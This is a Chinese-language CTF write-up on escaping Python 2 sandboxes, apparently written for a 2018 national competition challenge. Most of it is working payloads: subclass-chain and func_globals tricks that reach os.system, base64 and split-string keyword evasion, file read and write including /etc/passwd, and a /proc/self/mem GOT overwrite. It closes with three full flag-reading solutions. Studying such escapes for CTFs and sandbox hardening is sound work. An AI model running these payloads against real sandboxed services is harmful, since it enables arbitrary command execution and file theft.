Python 沙盒绕过

思考了一下,Python沙箱逃逸的意义,不过就是如何通过绕过限制,拿到出题人或者安全运维人员不想让我们拿到的”危险函数”,或者绕过Python终端达到命令执行的效果。

起因

以前我也做过一些Python沙盒逃逸的小题目,也翻译和写过两篇关于Python沙盒逃逸的文章。然而在这次国赛的题目,我好像又进一步理解了Python沙箱…

绕过沙盒方法

关于import

通常思路,我们应该找到题目还给我们留下了什么,通常而言
通常而言,出题人一般是禁止引入敏感包,比如 os或者system

0x01 绕过,通过路径引入

Python的os模块的路径几乎都是/usr/lib/python2.7/os.py中
所以我们可以通过路径引入一些模块

1
2
3
4
>>> import sys
>>> sys.modules['os']='/usr/lib/python2.7/os.py'
>>> import os
>>>

0x02 dir 与dict

首先,我们应该确定程序还有哪些内置函数可以用,我们可以通过dir __builtin__ 来获取内置函数列表

1
2
>>> dir(__builtins__)
['ArithmeticError', 'AssertionError', 'AttributeError', 'BaseException', 'BufferError', 'BytesWarning', 'DeprecationWarning', 'EOFError', 'Ellipsis', 'EnvironmentError', 'Exception', 'False', 'FloatingPointError', 'FutureWarning', 'GeneratorExit', 'IOError', 'ImportError', 'ImportWarning', 'IndentationError', 'IndexError', 'KeyError', 'KeyboardInterrupt', 'LookupError', 'MemoryError', 'NameError', 'None', 'NotImplemented', 'NotImplementedError', 'OSError', 'OverflowError', 'PendingDeprecationWarning', 'ReferenceError', 'RuntimeError', 'RuntimeWarning', 'StandardError', 'StopIteration', 'SyntaxError', 'SyntaxWarning', 'SystemError', 'SystemExit', 'TabError', 'True', 'TypeError', 'UnboundLocalError', 'UnicodeDecodeError', 'UnicodeEncodeError', 'UnicodeError', 'UnicodeTranslateError', 'UnicodeWarning', 'UserWarning', 'ValueError', 'Warning', 'ZeroDivisionError', '_', '__debug__', '__doc__', '__import__', '__name__', '__package__', 'abs', 'all', 'any', 'apply', 'basestring', 'bin', 'bool', 'buffer', 'bytearray', 'bytes', 'callable', 'chr', 'classmethod', 'cmp', 'coerce', 'compile', 'complex', 'copyright', 'credits', 'delattr', 'dict', 'dir', 'divmod', 'enumerate', 'eval', 'execfile', 'exit', 'file', 'filter', 'float', 'format', 'frozenset', 'getattr', 'globals', 'hasattr', 'hash', 'help', 'hex', 'id', 'input', 'int', 'intern', 'isinstance', 'issubclass', 'iter', 'len', 'license', 'list', 'locals', 'long', 'map', 'max', 'memoryview', 'min', 'next', 'object', 'oct', 'open', 'ord', 'pow', 'print', 'property', 'quit', 'range', 'raw_input', 'reduce', 'reload', 'repr', 'reversed', 'round', 'set', 'setattr', 'slice', 'sorted', 'staticmethod', 'str', 'sum', 'super', 'tuple', 'type', 'unichr', 'unicode', 'vars', 'xrange', 'zip']

在Python中,不引入直接使用的内置函数被成为builtin函数,随着builtin这个模块自动引入到环境中

进而,我们可以通过__dict__引入我们想要引入的模块

两种方法都是一个目的,那就是列出一个模组/类/对象 下面 所有的属性和函数
这在沙盒逃逸中是很有用的,可以找到隐藏在其中的一些东西
我们可以通过__dict__做什么呢?
一个模块对象有一个由字典对象实现的命名空间…属性引用被转换为这个字典中的查找,例如,m.x等同于m.dict[“x”]

绕过实例:
首先通过 base64 绕过字符明文检测

1
2
3
4
5
>>> import base64
>>> base64.b64encode('__import__')
'X19pbXBvcnRfXw=='
>>> base64.b64encode('os')
'b3M='

然后通过dict引用

1
>>> __builtins__.__dict__['X19pbXBvcnRfXw=='.decode('base64')]('b3M='.decode('base64'))

如果一些 内敛函数在builtins删除 ,我们可以通过reload(__builtins__)重新载入获取一个完整的builtins

创建对象,以及引用

python的object类中集成了很多的基础函数,我们想要调用的时候也是可以通过创建对象进而引用

有常见的两个方法

1
2
().__class__.__bases__[0]
''.__class__.__mro__[2]


如,我们可通过
print ().__class__.__bases__[0].__subclasses__()[40]("/etc/services").read()达到文件读取的效果,

常见payload

1
2
3
4
5
6
7
8
#读文件
().__class__.__bases__[0].__subclasses__()[40](r'C:\1.php').read()

#写文件
().__class__.__bases__[0].__subclasses__()[40]('/var/www/html/input', 'w').write('123')

#执行任意命令
().__class__.__bases__[0].__subclasses__()[59].__init__.func_globals.values()[13]['eval']('__import__("os").popen("ls /var/www/html").read()' )

其他危险的函数

execfile文件执行

1
2
3
4
5
6
7
8
9
>>> execfile('/usr/lib/python2.7/os.py')
>>> system('cat /etc/passwd')
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
...
>>> getcwd()
'/usr/lib/python2.7'

timeit

1
2
import timeit
timeit.timeit("__import__('os').system('dir')",number=1)

exec 和eval 比较经典了

1
eval('__import__("os").system("dir")')

platform

1
2
import platform
print platform.popen('dir').read()

getattr() 和 getattribute()

python 再访问属性的方法上定义了getattr() 和 getattribute() 2种方法,其区别非常细微,但非常重要。

如果某个类定义了 getattribute() 方法,在 每次引用属性或方法名称时 Python 都调用它(特殊方法名称除外,因为那样将会导致讨厌的无限循环)。
如果某个类定义了 getattr() 方法,Python 将只在正常的位置查询属性时才会调用它。如果实例 x 定义了属性 color, x.color 将 不会 调用x.getattr(‘color’);而只会返回 x.color 已定义好的值。
这里,我们可以通过getattribute这个方法做一些事,如下面的payload

1
2
x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')

间接的引用调用

在有些题目中,如这次的2018年国赛的Python沙盒题目上,import 其实整个是被阉割了。

但是在Python中,原生的import是存在被引用的,只要我们找到相关对象引用就可以进一步获取我们想要的内容,具体下面的demo会讲述到

write修改got表

实际上是一个/proc/self/mem的内存操作方法
/proc/self/mem是内存镜像,能够通过它来读写到进程的所有内存,包括可执行代码,如果我们能获取到Python一些函数的偏移,如system,我们就能通过想做pwn题的劫持got表做我们任意想做的事情

1
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

第一个地址是system的偏移,第二个是fopen的偏移,我们可以通过objdump获取相关信息

关于这次的题目

我们可以通过
print ().__class__.__bases__[0].__subclasses__()[40]("/home/ctf/sandbox.py").read()
获取题目源码,然后进一步分析

解决

三种方法

0x01

1
2
3
4
x = [x for x in [].__class__.__base__.__subclasses__() if x.__name__ == 'ca'+'tch_warnings'][0].__init__
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('l'+'s /home/ctf')
x.__getattribute__("func_global"+"s")['linecache'].__dict__['o'+'s'].__dict__['sy'+'stem']('ca'+'t /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb')

0x02

修改got

1
2
3
4
(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('l'+'s /home/ctf/'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))


(lambda r,w:r.seek(0x08de2b8) or w.seek(0x08de8c8) or w.write(r.read(8)) or ().__class__.__bases__[0].__subclasses__()[40]('c'+'at /home/ctf/5c72a1d444cf3121a5d25f2db4147ebb'))(().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem','r'),().__class__.__bases__[0].__subclasses__()[40]('/proc/self/mem', 'w', 0))

0x03

间接引用
在不断的dir过程中,发现closure 这个object保存了参数,可以引用原生的import

1
print __import__.__getattribute__('__clo'+'sure__')[0].cell_contents('o'+'s').__getattribute__('sy'+'stem')('l'+'s home')

参考

https://xz.aliyun.com/t/52#toc-10
https://blog.csdn.net/qq_35078631/article/details/78504415
https://www.anquanke.com/post/id/85571